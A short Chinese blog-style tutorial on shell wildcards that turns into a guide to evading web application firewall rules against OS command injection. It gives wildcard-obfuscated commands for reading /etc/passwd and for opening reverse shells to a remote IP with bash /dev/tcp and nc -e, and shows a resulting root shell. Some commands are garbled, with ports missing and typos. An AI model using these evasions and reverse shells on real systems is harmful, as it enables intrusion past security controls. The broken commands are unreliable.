一、通配符简介:
一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。
举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:
└─[$]> sudo head - /???/r????v.c??f
#
# macOS Notice
#
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most
同理,删除文件的时候,如果删除所有a开头的文件:
rm -f a*
以上大概简要说明了什么是通配符
二、支持通配符的shell
从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?
└─[$]> sudo /???/c?t /???/r????v.?o?f
#
# macOS Notice
#
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most
# processes on this system.
#
# To view the DNS configuration used by this system, use:
# scutil --dns
#
# SEE ALSO
# dns-sd(), scutil()
#
# This file is automatically generated.
#
可以看出来,命令部分识别/???/c?t => /bin/cat
三、WAF规则集:
WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则
例如对于OS Command Injection的payload过滤:
rule1 -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``
rule2 -> 过滤命令关键字等等
rule3 -> 正则表达式匹配
四、绕WAF
1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[\w]{1,}/[\w]{1,} 对于rule3
2、举一个反弹shell的bash简单命令,这个对于rule2比较合适
//正常的反弹shell的命令
#bash -i >& /dev/tcp/192.168.1.102/ >&
#/???/b??h -i >& /dev/tcp/192.168.1.102/ >&
可以成功
在测试一个使用nc直接反弹的例子:
#正常情况下:
nc -e /bin/bash 192.168.1.101
nv -p -l -v
可以转换成:
/???/nc -e /???/b??h 192.168.1.101
# 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数
结果
[********@***]# nc -p -l -v
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::
Ncat: Listening on 0.0.0.0:
Ncat: Connection from ******.
Ncat: Connection from ******:.
whoami
root
搞定了
综上,这个办法还是很有用的。